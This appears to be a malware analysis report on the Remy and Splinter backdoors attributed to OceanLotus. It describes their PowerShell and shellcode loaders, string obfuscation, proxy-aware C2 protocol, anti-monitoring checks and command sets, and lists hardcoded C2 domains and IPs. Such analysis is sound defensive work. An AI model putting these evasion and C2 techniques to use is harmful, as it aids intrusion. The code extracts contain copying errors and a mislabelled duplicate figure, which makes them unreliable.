<td>Timestamp</td>
<td>Thu, August 07 2008 01:43:09 UTC (spoofed)</td>
</tr>
<tr>
<td>Observed</td>
<td>November 2017</td>
</tr>
</tbody>
</table>

**Overview**

Arriving as an obfuscated PowerShell script built using the MSFvenom psh-reflection payload, the Remy DLL payload is ultimately unpacked, injected into memory, and executed via a Veil shellcode payload.

![Payload layers](image)

*Figure 23: Payload layers*

The Remy DLL shares code with Backdoor.Win32.Denis (Kaspersky), and appears to be related to the “WINDSHIELD” malware (described in the FireEye APT32 report).

**Features**

- Several PowerShell “wrappers”
- MSFvenom psh-reflection payload
  - Veil powershell/shellcode_inject
- Main functionality is to download and execute next stage payloads
- Six additional C2 commands
- Proxy bypass

**Deployment**

Remy was downloaded and executed manually by the threat actor using a PowerShell one-liner:

```
```

*Figure 24: Threat actor command to download and install Rem*

**Behavior**

During loading, a C# source file is dropped to disk and compiled using the C#.NET compiler:

```
csc.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /nologo /out:Rem.exe C:\Users\analyst\AppData\Local\Temp\h3x1cX\f3.cmdline
```

```
ctres.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\ctres.exe /NOLOGO /READEONLY /MACHINE:X64 /OUT:C:\Users\analyst\AppData\Local\Temp\h3x1cX\f3.cmdline
```

*Figure 25: Compiling .NET binary*
The following command line arguments are supplied to the compiler via the "cmdline" file:

```
/t:library /utf8output /R:"System.dll" /R:"C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0_31bf3856ad364e35\System.Management.Automation.dll" /out:"C:\Users\Analyst\AppData\Local\Temp\ygq651ww.dll" /D:DEBUG /debug+ /optimize- /warnaserror "C:\Users\Analyst\AppData\Local\Temp\ygq651ww.0.cs"
```

Figure 26: C# compiler arguments

Although a relatively novel technique, this does lead to the creation of multiple temporary files under the %APPDATA%\Temp folder:

<table>
<thead>
<tr>
<th>File Name</th>
<th>File Type</th>
<th>Size</th>
<th>Creation Date</th>
</tr>
</thead>
<tbody>
<tr>
<td>CSCF30.tmp</td>
<td>TMP File</td>
<td>1 KB</td>
<td>05/12/2017 12:30</td>
</tr>
<tr>
<td>RESF31.tmp</td>
<td>TMP File</td>
<td>2 KB</td>
<td>05/12/2017 12:30</td>
</tr>
<tr>
<td>ygq651ww.o.cs</td>
<td>Visual C# Source file</td>
<td>1 KB</td>
<td>05/12/2017 12:30</td>
</tr>
<tr>
<td>ygq651ww.cmdline</td>
<td>COM File</td>
<td>1 KB</td>
<td>05/12/2017 12:30</td>
</tr>
<tr>
<td>ygq651ww.dll</td>
<td>Application Extension</td>
<td>4 KB</td>
<td>05/12/2017 12:30</td>
</tr>
<tr>
<td>ygq651ww.err</td>
<td>ERR File</td>
<td>0 KB</td>
<td>05/12/2017 12:30</td>
</tr>
<tr>
<td>ygq651ww.out</td>
<td>Wireshark Capture file</td>
<td>1 KB</td>
<td>05/12/2017 12:30</td>
</tr>
<tr>
<td>ygq651ww.pdb</td>
<td>Program Debug Database</td>
<td>8 KB</td>
<td>05/12/2017 12:30</td>
</tr>
<tr>
<td>ygq651ww.tmp</td>
<td>TMP File</td>
<td>0 KB</td>
<td>05/12/2017 12:30</td>
</tr>
</tbody>
</table>

Figure 27: Files created during compilation

The source file is relatively simple and is used to assist with importing Windows APIs:

```
using System;
using System.Runtime.InteropServices;

namespace winFunctions
{
    public class Win32
    {
        [DllImport("kernel32.dll")]
        public static extern int VirtualAllocEx(IntPtr address, uint size, uint flg,
            IntPtr security, IntPtr outAddress);
        [DllImport("kernel32.dll")]
        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
        [DllImport("kernel32.dll")]
        public static extern IntPtr CreateThread(IntPtr lpRtti, IntPtr lpSerti, IntPtr dwStartValue,
            IntPtr lprtti, int dwStackSize, int flg);
        [DllImport("kernel32.dll")]
        public static extern bool AllocateVirtualMemory(IntPtr hProcess, bool flg,
            int dwSize, int dwprotect, ref IntPtr lpBase);
    }
}
```

Figure 28: C# source code for importing Win32 APIs

```
using System;
using System.Runtime.InteropServices;

namespace winFunctions
{
    public class Win32
    {
        [DllImport("kernel32.dll")]
        public static extern int VirtualAllocEx(IntPtr address, uint size, uint flg, 
            IntPtr security, IntPtr outAddress);
        [DllImport("kernel32.dll")]
        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
        [DllImport("kernel32.dll")]
        public static extern IntPtr CreateThread(IntPtr lpRtti, IntPtr lpSerti, IntPtr dwStartValue, 
            IntPtr lprtti, int dwStackSize, int flg);
        [DllImport("kernel32.dll")]
        public static extern bool AllocateVirtualMemory(IntPtr hProcess, bool flg, 
            int dwSize, int dwprotect, ref IntPtr lpBase);
    }
}
```

Figure 29: PowerShell shellcode loader
Once active, the shellcode PE loader imports the following APIs dynamically:

- RtlMoveMemory
- RtlZeroMemory
- VirtualAlloc
- GetProcAddress
- LoadLibrary

The shellcode then allocates executable memory via VirtualAlloc, unpacks the main DLL payload, and calls its entry-point function:

```assembly
eax mov [ebp+08]; b1
mov [ebp+10]; b1
call eax ; next stage payload (base + 0x488)
```

Figure 30: Execute main payload DLL entry-point

The payload is ~248 KB (253,952 bytes) large, and purports to have been compiled on Thu Aug 07 01:43:07 2008. Originally named XamlDiagnostics.dll, it exports a single entry-point named DllEntry. The DllEntry routine first loads advapi32.dll, imports/calls GetUserNameW, and attempts to create the following mutex to prevent multiple instances from running:

```
151c9beb11b29fe869098007192d8fa7_%USERNAME%
```

It then loads several libraries, resolves all necessary APIs, and decrypts embedded strings. Most of the strings are encrypted with simple ADD 0x27 instruction.

```assembly
try {
    mov [ebp+0c], ebx
    mov dword ptr [ebp+mutex_name], 08000ah
    mov dword ptr [ebp+mutex_name+4], 3c000ah
    mov dword ptr [ebp+mutex_name+8], 3b0002h
    mov dword ptr [ebp+mutex_name+10], 0a000ah
    mov dword ptr [ebp+mutex_name+14], 0b0003h
    mov dword ptr [ebp+mutex_name+18], 3f0001h
    mov dword ptr [ebp+mutex_name+1c], 110038h
    mov dword ptr [ebp+mutex_name+20], 120009h
    mov dword ptr [ebp+mutex_name+24], 120009h
    mov dword ptr [ebp+mutex_name+28], 90011h
    jmp short dear_string_loop
}
```

Figure 31: String decryption – mutex name

The backdoor can be executed with credentials for web authentication specified as parameters via the command line:

```
/u <username> /p <password>
```
Otherwise, these credentials can be passed at build time in the form of an embedded RCDATA resource (encrypted with a hardcoded XOR key), in the following format:

<table>
<thead>
<tr>
<th>Offset</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00</td>
<td>Magic (0x02)</td>
</tr>
<tr>
<td>0x05</td>
<td>Username length</td>
</tr>
<tr>
<td>0x07</td>
<td>Password length</td>
</tr>
<tr>
<td>0x09</td>
<td>Username</td>
</tr>
<tr>
<td>0x09 +</td>
<td>Username length</td>
</tr>
</tbody>
</table>

The RCDATA resource from the analyzed sample did not contain any hard-coded credentials:

<table>
<thead>
<tr>
<th>Bytes</th>
<th>ASCII</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>3B 6C 49 6C 5A 4B 6E 47 3D</td>
<td>;IIIZKnG=</td>
<td>Encrypted resource content</td>
</tr>
<tr>
<td>39 6C 49 6C 5A 4B 6E 47 3D</td>
<td>9IIIZKnG=</td>
<td>Embedded XOR key</td>
</tr>
<tr>
<td>02 00 00 00 00 00 00 00 00</td>
<td></td>
<td>Decrypted resource content</td>
</tr>
</tbody>
</table>

```
push RT RCDATA
push 2070
push edi
call ds:FindResourceW
mov esi, eax
test esi, esi
jz endp
push esi
push edi
call ds:LoadResource
test eax, eax
jz endp
push esi
push edi
call ds:GetSizeOfResource
mov esi, eax
test esi, esi
jz endp
call VBC_memcopy related
mov ecx, [ebp+resource]
mov edx, [ebx]
push esi ; size
push ecx
push edx ; dest
call VEC_memcopy_
add esp, 0Ch
mov eax, offset a911izKnG ; "9111$KnG="
lea ecx, [ebp+key]
call check_len_copy_str
lea eax, [ebp+key]
push eax
mov edi, ebx
call xor_crypt_with_given_key
```

Figure 32: Decryption of RCDATA resource
During the execution, the malware reads and writes from/to the following values under the `HKCU\SOFTWARE\ThunderbirdEMLKD` registry key:

<table>
<thead>
<tr>
<th>Value Name</th>
<th>Type</th>
<th>Size</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>(default)</td>
<td>REG_BINARY</td>
<td>32 bytes</td>
<td>Value sent by the C2 server upon initial communication; it's needed to initiate download/execution of additional malware stages</td>
</tr>
<tr>
<td>EditFlags</td>
<td>REG_BINARY</td>
<td>Variable</td>
<td>List of C2 URLs encoded with XOR 0x8A8BBB; can be set using one of the C2 commands</td>
</tr>
<tr>
<td>DisableProcessIsolation</td>
<td>REG_BINARY</td>
<td>8 bytes</td>
<td>System time, set at the time of the first C2 connection</td>
</tr>
<tr>
<td>&lt;DWORD&gt;</td>
<td>REG_DWORD</td>
<td>4 bytes</td>
<td>These values are queried/set by the C2 server during the process of downloading and executing additional stages</td>
</tr>
</tbody>
</table>

```assembly
mov [esp+30h+EditFlags], 4D423D1Bh
mov [esp+30h+var_C], 403A451Fh
mov [esp+30h+var_0], 4Ch
lea eax, [esp+30h+EditFlags]

loc_C30C3:
    add byte ptr [eax], 27h
    inc eax
    cmp byte ptr [eax], 0
    jnz short loc_C30C3
    push esi
    push ebx
    lea eax, [esp+38h+type]
    push eax
    lea ecx, [esp+3Ch+EditFlags]
    push ecx
    push offset pszSubKey ; "SOFTWARE\ThunderbirdEMLKD"
    xor edi, edi
    push KEY_CURRENT_USER
    mov [esp+48h+type], edi
    call SHGet_valueA
```

Figure 33: Check for C2 URL in registry

```assembly
xor_crypt_with_hardcoded_key proc near
    ; CODE XREF: get ThunderbirdEML EditFlags+3A+4
    xor_key = dword ptr -4
    buffer = dword ptr 8
    push ebp
    mov ebp, esp
    push ecx
    xor ecx, ecx
    mov word ptr [ebp+xor_key], 8888Ah
    mov byte ptr [ebp+xor_key+2], 8Ch
    test ebx, ebx
    js short loc_C3086
    push esi
    push edi
    mov edi, eax
    sub edi, [ebp+buffer]
    jmp short loc_C3060
align 10h

loc_C3060:
    ; CODE XREF: xor_crypt_with_hardcoded_key+1B+7; xor_crypt_with_hardcoded_key+42+4
    mov eax, [ebp+buffer]
    lea esi, [ecx+eax]
    mov eax, 0000000Ah
    mul ecx
    shr edx, 1
    lea edx, [edx+edx*2]
    mov eax, ecx
    sub eax, edx
    mov dl, byte ptr [ebp+eax+xor_key]; 0x8A8BBB
    xor dl, [edi+esi]
    inc ecx
    mov [esi], dl
    cmp ecx, ebx
    jb short loc_C3060
    pop edi
    pop esi

loc_C3086:
    ; CODE XREF: xor_crypt_with_hardcoded_key+12+1j
    mov esp, ebp
    pop ebp
    ret
```

Figure 34: Decryption of URL from registry value
If the EditFlags registry value contains additional URLs, they will be prioritized, otherwise the malware will attempt to connect to the following hardcoded URLs:

- happy.abelleds.com
- far.ordanuy.com
- home.runnerfd.com
- dyndns.yceunca.com

Figure 35: Hardcoded C2 domains

The malware has the capability to detect and bypass the victim’s proxy configuration. There are two possible operation modes:

- TCP sockets, on port 61781 (default) or on port 443 (in case victim’s machine is configured to use a proxy)
- HTTP POST/GET on ports 80 or 443, with the optional use of authentication (supports Basic and Digest schemes)

**C2 Protocol**

Initially, the backdoor will connect to one of the C2 URLs using raw sockets and perform a simple handshake:

```
Send 1 byte: 0x02
Recv 1 byte: 0x03
```
If that fails, the backdoor will try to determine if the victim’s machine is configured to use a proxy server. In such case, the backdoor will first try to connect to the proxy and authenticate (if required):

- **HTTP proxy (1) and HTTPS proxy (2)** - connect to the proxy URL with the following header:

```
CONNECT %s:%d HTTP/1.1
Host: %s:%d
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.109 Safari/537.36
```

Note: The User-Agent string first appeared in Chrome from February 2016.

The backdoor also supports Basic and Digest HTTP authentication methods. In case of Digest authentication, the backdoor will use the hardcoded string "d35efe4ba43e3803d57b4945fa3ab5dd" as the value for client nonce parameter.

```
Authenticate: Basic
GET %s:%d HTTP/1.1\r\nHost: %s:%d\r\nProxy-Connection: keep-alive\r\n\r
%a/%s
Authenticate: Digest
Authentication: Basic %s/%s
Proxy-Realm: md5-sess
auth-int
realm
nonce
opaque
algorithm
Digest
```

Figure 38: Strings related to HTTP authentication, hardcoded "cnonce" value highlighted
- SOCKS proxy (4) - connect to the proxy server on specified port and send client connection request:

```plaintext
Send 10 bytes: 04 01 + c2_port + c2_ip
Recv 8 bytes: 00 5a xx xx xx xx xx xx (request granted)
```

- SOCKS5 proxy (5) – connect to the proxy server on specified port and send client connection request:

```plaintext
Send 3 bytes: 05 01 00
Recv 2 bytes: 05 00
Send 10 bytes: 05 01 00 01 + c2_port + c2_ip
Recv 10 bytes.
```

![Image](39x402 to 433x594)

Figure 39: Connection via socks5 proxy

```
send_3_bytes:
    mov [ebp+send_buffer_1], 105h ; socks version and authentication method
    mov [ebp+var_38], bl
    mov esi, 3 ; len
    xor edi, edi
    lea ecx, [esi+0]

send_loop:
    mov eax, 1009h
    cmp esi, 1009h
    jg short loc_C628F
    mov eax, esi

loc_C628F:
    push ebx
    push eax ; len
    mov eax, [ebp+socket]
    lea edx, [ebp+edi+send_buffer_1]
    push edx ; buffer
    push eax
    call send
    cmp eax, ebx
    jle short loc_C624AC
    add edi, eax
    cmp esi, ebx
    jg short send_loop
```
After a successful handshake, the backdoor will collect system information, such as the username, computer name, OS version, and details of the first active network adapter (excluding loopback), and send this information to the C2 server:

- Send 4-bytes (size of the upcoming packet)
- Send packet with system information:

<table>
<thead>
<tr>
<th>Offset</th>
<th>Size</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x0000</td>
<td>4</td>
<td>Decompressed size</td>
</tr>
<tr>
<td>0x0004</td>
<td>4</td>
<td>Compressed size</td>
</tr>
<tr>
<td>0x0008</td>
<td></td>
<td>zlib compressed system information (decompressed size 0x199 bytes)</td>
</tr>
</tbody>
</table>

![Figure 40: System information packet](image)

```assembly
send_packet_size:                           ; CODE XREF: c2 comms raw main+21A+J
    mov    eax, 1000h
    cmp    edi, 1000h
    jg     short loc_CBA7D
    mov    eax, edi

loc_CBA7D:                                 ; CODE XREF: c2 comms raw main+1F9+J
    mov    ecx, [esp+214h+socket thesis size]
    push   0
    push   eax
    lea    eax, [esp+ebx+21Ch+packet size]
    push   eax
    push   ecx
    call   send
    test   eax, eax
    jie    short send_sysinfo
    sub    edi, eax
    add    ebx, eax
    test   edi, edi
    jg     short send_packet_size

send_sysinfo:                              ; CODE XREF: c2 comms raw main+212+J
    cmp    ebx, 4
    jnz    del_endp
    mov    edx, [esp+214h+socket old]
    mov    eax, [edx]
    push   eax
    mov    eax, [esp+218h+packet size]
    mov    ebx, esi        ; buffer
    call   send_loop
    add    esp, 4
    cmp    eax, [esp+214h+packet size]
    jnz    del_endp
```

![Figure 41: Basic communication scheme](image)
The decompressed zlib data contains:

<table>
<thead>
<tr>
<th>Offset</th>
<th>Size (bytes)</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x0000</td>
<td>1 byte</td>
<td>0x03</td>
</tr>
<tr>
<td>0x0001</td>
<td>32 bytes</td>
<td>Value from ThunderbirdEML.KD (default)</td>
</tr>
<tr>
<td>0x0021</td>
<td>15 bytes</td>
<td>Computer name</td>
</tr>
<tr>
<td>0x0030</td>
<td>16 bytes</td>
<td>User name</td>
</tr>
<tr>
<td>0x0040</td>
<td>4 bytes</td>
<td>unknown</td>
</tr>
<tr>
<td>0x0044</td>
<td>1 byte</td>
<td>OS major version</td>
</tr>
<tr>
<td>0x0045</td>
<td>1 byte</td>
<td>OS minor version</td>
</tr>
<tr>
<td>0x0046</td>
<td>1 byte</td>
<td>Service Pack major version</td>
</tr>
<tr>
<td>0x0047</td>
<td>1 byte</td>
<td>Service Pack minor version</td>
</tr>
<tr>
<td>0x0048</td>
<td>4 bytes</td>
<td>Product Type</td>
</tr>
<tr>
<td>0x004C</td>
<td>4 bytes</td>
<td>System time low</td>
</tr>
<tr>
<td>0x0050</td>
<td>4 bytes</td>
<td>System time high</td>
</tr>
<tr>
<td>0x0054</td>
<td>4 bytes</td>
<td>First byte from RCDATA resource (in this case 0x02)</td>
</tr>
<tr>
<td>0x0058</td>
<td>128 bytes</td>
<td>Adapter description</td>
</tr>
<tr>
<td>0x00D8</td>
<td>8 bytes</td>
<td>Adapter physical address</td>
</tr>
<tr>
<td>0x00F0</td>
<td>16 bytes</td>
<td>Adapter IP addresses</td>
</tr>
<tr>
<td>0x00F4</td>
<td>1 byte</td>
<td>Connection mode (0x01 – raw sockets; 0x02 HTTP POST/GET)</td>
</tr>
<tr>
<td>0x00F5</td>
<td>1 byte</td>
<td>Connection method (initially set to 0)</td>
</tr>
<tr>
<td>0x00F6</td>
<td>25 bytes</td>
<td>Connection data in format of %s:%d (initially set to zeroes)</td>
</tr>
<tr>
<td>0x010F</td>
<td>138 bytes</td>
<td>Connection data in format of %s:%s (initially set to zeroes)</td>
</tr>
</tbody>
</table>

*Figure 4.2: Decompressed system information structure*

The following diagram shows a request containing system information, with the compressed (green) and decompressed (red) sizes, zlib data (blue), and finally the decompressed information (pink):

*Figure 4.3: Decoded system information request*
Then, the malware will create three threads that are responsible for downloading and executing payloads, processing additional C2 commands and sending responses.

```asm
create_drop_exec_file_thread: ; CODE XREF: c2.comms raw main+24F↑j
    cmp    [esi+struct.download_exec_file_evt], 0
    jnz    short loc_CBB2B
    push   0
    push   0
    push   1
    push   0
    call   CreateEventW
    mov    [esi+struct.download_exec_file_evt], eax
    test   eax, eax
    jz     short loc_CBB2B
    push   0
    push   0
    push   esi
    push   offset call_drop_exec_file
    push   0
    push   0
    call   __beginthreadex ; c2_comms_drop_exec_file
    add    esp, 18h
    push   eax
    call   ds:CloseHandle
```

**Figure 44: Thread responsible for downloading and executing next stage payloads**

Once an internal event is set, the backdoor will contact the C2 server to download and execute additional stages. To do that, it will proceed as follows:

- Connect and send beacon based on the internally specified connection method
- Send 1 byte (0x06)
- Send data from the "(default)" value in the registry (32-bytes), zlib compressed
- Receive a 4-byte integer that will be used as registry value name
- Send data from that registry value (4-bytes)
- Receive 4-bytes (size of upcoming packet)
- Receive zlib compressed packet containing next stage payload
- Decompressed data format:
  - `regval_data_len`
  - `regval_data`
  - `path_len`
  - `path`
  - `file_content_size`
  - `file_content`
  - `commandline_len`
  - `commandline`
- Write `file_content` to path (create directories if needed)
- Create process `path commandline`
- Set registry value to the `regval_data`
- Send 4-byte response (last error code).
**Commands**

Besides executing additional next-stage payloads, the backdoor can process six additional commands.

![Figure 45: Command processor](image)

<table>
<thead>
<tr>
<th>Offset</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00</td>
<td>Unknown</td>
</tr>
<tr>
<td>0x04</td>
<td>Command ID</td>
</tr>
<tr>
<td>0x08</td>
<td>Length of parameters</td>
</tr>
<tr>
<td>0x0C</td>
<td>Parameters</td>
</tr>
</tbody>
</table>

The following commands are supported:

<table>
<thead>
<tr>
<th>Code</th>
<th>Parameters</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>value_data</td>
<td>Set &quot;(default)&quot; value in the registry (expected to be 32 bytes)</td>
</tr>
<tr>
<td>1</td>
<td>dword ip_address port</td>
<td>Connect to specified IP on specified port and send a beacon; send code 0x05 + content of the &quot;(default)&quot; value from the registry + dword back to the original C2 server</td>
</tr>
<tr>
<td>3</td>
<td>application_name cmd_line</td>
<td>Create process</td>
</tr>
<tr>
<td>6</td>
<td>file_name file_content</td>
<td>Create and write file</td>
</tr>
<tr>
<td>7</td>
<td>data_len data</td>
<td>Set EditFlags value in the registry</td>
</tr>
<tr>
<td>8</td>
<td>(none)</td>
<td>Delete files: C:\Windows\Origin\Origin.exe, %appdata%\Origin\Origin.exe and terminates</td>
</tr>
</tbody>
</table>
Splinter RAT

**Classification** | Malware/Backdoor
---|---
**Aliases** | WINDSHIELD (FireEye)
**Size** | 355 KB (364,353 bytes)
**Type** | PowerShell/Shellcode/Win32 PE (DLL)
**File Name** | underwears.png
**Timestamp** | Thu, August 07 2008 01:43:09 UTC (spoofed)
**Observed** | November 2017

**Overview**

Splinter arrives as an MSBuild project file containing a Base64 encoded PowerShell script generated using the MSFvenom psh-reflection module. As in the case of Remy, it utilizes on-the-fly C# compilation and strips off several PowerShell wrappers before the shellcode that calls the final payload is invoked. The backdoor itself is a Win32 PE EXE file and has the capability to collect information, download and execute payloads, run WMI queries, and manipulate files, processes, and registry entries.

The overall functionality of Splinter appears pretty much in line with the “KOMPROGO” malware (as described in the FireEye APT32 report).

**Features**

- Several PowerShell “wrappers”
  - MSFvenom psh-reflection payload
  - Veil powershell/shellcode_inject
- Custom C2 protocol (different from Remy and Roland)
- 38 C2 commands
- Use of LZHAM for compression of backdoor response data

**Behavior**

The backdoor will not attempt to communicate with the C2 if any of these network monitors are running:

- wireshark.exe (check for running process)
- NetworkMiner.exe (check for running process)
- TCPView (check for window name)

```
loc_58F291:                      ; CODE XREF: find_net_monitors+120+1:
    call find_NetworkMiner
    test eax, eax
    js short loc_58F299
    mov monitor_found_buf, 1
    jmp find_processes_loop

loc_58F299:                      ; CODE XREF: find_net_monitors+138+1:
    push eax
    push edx
    push [ebp+var_20], esp
    push eax
    xor eax, eax
    call decr_TCPViewClass
    add esp, 4
    lea edx, [ebp+1pClassName]
    push edx
    push eax
    call multi_to_int
    mov eax, [ebp+1pClassName]
    push esi
    push eax
    push edx
    push eax
    call ds:FindWindow
    test eax, eax
    js short loc_58F2C7
    mov esi, 1
```

*Figure 46: Find network monitors*
It will also constantly check for these processes and exit in the event any of these are detected.

As in the case of other backdoors used by the OceanLotus Group, the most sensitive strings, including hardcoded C2 addresses, are stack-based and obfuscated with one-byte incremental XOR:

```
loc_50BD88: ; CODE XREF: decrypt_urls+A3;j
    push 430D001Dh ; decrypt_url+Cl;j
    push 1B190402h ; encrypted string
    push 17030A99h
    push 90D0D08h
    push 2F2D2C48h
    push 5Dh ; initial key (incremental)
    push 20 ; len
    mov ecx, 5
    lea esi, [ebp+decr_struct]
    call set_up_struct
    add esp, 1Ch
    mov esi, eax
; } // starts at 58BD37
; try {
    mov byte ptr [ebp+error_code], 3
    call decrypt_string ; rss.honoremarson.com
    cmp eax, ebx
```

Figure 47: Stack-based string decryption

```
decr_loop: ; CODE XREF: decrypt_string+18;j
    ; decrypt_string+52;j
    mov ecx, [esi+decr.enc_bytes_p]
    mov cl, [ecx+eax*4]
    mov edx, [esi+decr.dec_str_ptr]
    mov [eax+edx], cl
    mov edx, [esi+decr.dec_str_ptr]
    lea ecx, [eax+edx]
    mov dl, byte ptr [esi+decr.key]
    xor [ecx], dl
    mov ecx, [esi+decr.key]
    inc ecx
    and ecx, 800000FFh
    jns short loc_58FA68
    dec ecx
    or ecx, 0FFFFF00h
    inc ecx
loc_58FA68: ; CODE XREF: decrypt_string+41;j
    inc eax
    mov [esi+decr.key], ecx
    cmp eax, [esi+decr.length]
    jl short best_loop
```

Figure 48: String decryption loop

The following URLs are hardcoded in the binary:

- rss.honoremarson[.]com (89.249.65.134, 185.244.213.28)
- repo.paigeherzog[.]com (89.249.65.134, 185.244.213.28)
- ssl.wolfgangneudorf[.]com (89.249.65.134, 185.244.213.28)
- help.angelinagerste[.]com (69.64.147.33, 185.244.213.28)
- mms.garyschulze[.]com (69.64.147.35, 91.195.240.103)

The backdoor also maintains a hardcoded list of ports to use, including 443, 1364, and 35357.

After sending an initial handshake, composed of two hardcoded values (request code and victim’s ID) buried inside pseudo-random data, the backdoor will send the contents of the “Key” value from [HKLM|HKCU]\Software\Microsoft\GameCenter\Identity. If this value is empty or doesn’t exist, the malware will send a hardcoded string instead.
The C2 server is expected to respond first with a header, that will indicate the size of upcoming packet, followed by a value that will be written by the backdoor to the same registry location. Then, the C2 communicates with the backdoor by sending a header containing command code and length of parameters, followed by a packet containing the command parameters string.

**C2 Protocol**

The standard C2 request/response consists of a 40-byte header packet, that includes the request code, hardcoded value (bot version or victim ID), compression indicator and length of upcoming data, and is padded with pseudo-randomly generated bytes. If the length field is not 0, the header is followed by a variable size packet containing data and optionally compressed with LZHAM algorithm.

The header of each C2 command packet additionally contains the command code, length of session ID, length of uncompressed data (optionally), and two boolean values indicating if the data is compressed and if the backdoor should compress the response. The size of the data packet is calculated by combining the length of data with the length of session ID. The session ID value sent by the C2 is prepended to the data packet in the backdoor’s response.

**Figure 49: C2 communication**

<table>
<thead>
<tr>
<th>Offset</th>
<th>Length</th>
<th>Initial Ping</th>
<th>Subsequent Backdoor Responses</th>
<th>C2 Request/Response</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x0000</td>
<td>1 byte</td>
<td>random byte</td>
<td>0x02</td>
<td></td>
</tr>
<tr>
<td>0x0001</td>
<td>2 bytes</td>
<td>hardcoded</td>
<td>hardcoded 0x7266</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>0xC19A</td>
<td></td>
<td></td>
</tr>
<tr>
<td>0x0003</td>
<td>4 bytes</td>
<td>zero</td>
<td>length of data</td>
<td>length of data</td>
</tr>
<tr>
<td>0x0007</td>
<td>1 byte</td>
<td>random byte</td>
<td>[copied from C2 request packet]</td>
<td></td>
</tr>
<tr>
<td>0x0008</td>
<td>4 bytes</td>
<td>random dword</td>
<td>[copied from C2 request packet]</td>
<td></td>
</tr>
<tr>
<td>0x000C</td>
<td>2 bytes</td>
<td>random word</td>
<td>[copied from C2 request packet]</td>
<td></td>
</tr>
<tr>
<td>0x000E</td>
<td>2 bytes</td>
<td>bot version / victim ID</td>
<td>bot version / victim ID</td>
<td></td>
</tr>
<tr>
<td>0x0010</td>
<td>1 byte</td>
<td>random byte</td>
<td>compressed bool</td>
<td>compressed bool</td>
</tr>
<tr>
<td>0x0011</td>
<td>4 bytes</td>
<td>zero</td>
<td>decompressed size</td>
<td>decompressed size</td>
</tr>
<tr>
<td>0x0015</td>
<td>2 bytes</td>
<td>random word</td>
<td>[copied from C2 request packet]</td>
<td></td>
</tr>
<tr>
<td>0x0017</td>
<td>4 bytes</td>
<td>random dword</td>
<td>command code</td>
<td></td>
</tr>
<tr>
<td>0x001B</td>
<td>1 byte</td>
<td>random byte</td>
<td>[copied from C2 request packet]</td>
<td></td>
</tr>
<tr>
<td>0x001C</td>
<td>4 bytes</td>
<td>zero</td>
<td>backdoor error code</td>
<td></td>
</tr>
</tbody>
</table>
### Offset Length Initial Ping Subsequent Backdoor Responses C2 Request/Response

<table>
<thead>
<tr>
<th>Offset</th>
<th>Length</th>
<th>Initial Ping</th>
<th>Subsequent Backdoor Responses</th>
<th>C2 Request/Response</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x0020</td>
<td>1 byte</td>
<td>random byte</td>
<td>compressed bool</td>
<td>compress response bool</td>
</tr>
<tr>
<td>0x0021</td>
<td>2 bytes</td>
<td>random word</td>
<td>length of session ID</td>
<td>length of session ID</td>
</tr>
<tr>
<td>0x0023</td>
<td>1 byte</td>
<td>random byte</td>
<td>zero</td>
<td></td>
</tr>
<tr>
<td>0x0024</td>
<td>4 bytes</td>
<td>random dword</td>
<td>[copied from C2 request packet]</td>
<td></td>
</tr>
</tbody>
</table>

**Figure 50:** Initial C2 packet with request code and victim ID highlighted in red

**Figure 51:** Second packet. RED: request code, size of data, victim id, compression bool; GREEN: data – hardcoded key

## Commands

<table>
<thead>
<tr>
<th>Command Code</th>
<th>Parameters</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x04B604C5</td>
<td>Timeout value</td>
<td>Set connection timeout</td>
</tr>
<tr>
<td>0x089BE370</td>
<td>-</td>
<td>Check process token membership</td>
</tr>
<tr>
<td>0x036E7BDA</td>
<td>-</td>
<td>Get user name</td>
</tr>
</tbody>
</table>
| 0x02E6C900F  | -          | Get content of “Cert” value under [HKLM|HKCU]
Software\Microsoft\GameCenter\Identity |
<p>| 0x1A18C8D2   | -          | Get title bars of all visible windows (format: “[hWnd] - [title]”) |
| 0x02EC5A3F2  | -          | Get current process ID |
| 0x0945C6BD   | -          | Get system version |
| 0x0C963EDB   | -          | Get bot version or victim ID; returns hardcoded value |
| 0x102B80DC   | CSIDL value, Directory name | Create directory |
| 0x2E9E2C74   | -          | Get system uptime in seconds |
| 0x12173B0D   | -          | Get info about installed software from [HKLM|HKCU] \SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall (DisplayName, DisplayIcon, DisplayVersion) |
| 0x133B0B08   | Desired access, inherit handle, PID | Kill specified process |
| 0x0310A35C   | -          | Get current module filename |
| 0x16BAA536   | Sleep timeout | End current session, set sleep timeout |
| 0x208B4194   | Source CSIDL, source filename, destination CSIDL, destination filename, overwrite existing bool | Copy specified file |</p>
<table>
<thead>
<tr>
<th>Command Code</th>
<th>Parameters</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x28FFE0B5</td>
<td>CSIDL, application name, startup flags, show window bool, creation flags</td>
<td>Create specified process</td>
</tr>
<tr>
<td>0x17B7B6D0</td>
<td>-</td>
<td>Get network adapters info</td>
</tr>
<tr>
<td>0x03BAE0A1</td>
<td>CSIDL, filename, desired access, share mode, creation disposition, attributes</td>
<td>Read specified file</td>
</tr>
<tr>
<td>0x22BD3A5E</td>
<td>-</td>
<td>Query &quot;ID&quot; value under [HKLM</td>
</tr>
<tr>
<td>0x06C1E522</td>
<td>?</td>
<td>Send hardcoded &quot;3333330&quot; string</td>
</tr>
<tr>
<td>0x166378C6</td>
<td>CSIDL, file name and export name, unload bool, error mode</td>
<td>Load specified DLL and call specified export</td>
</tr>
<tr>
<td>0x02E03AE7</td>
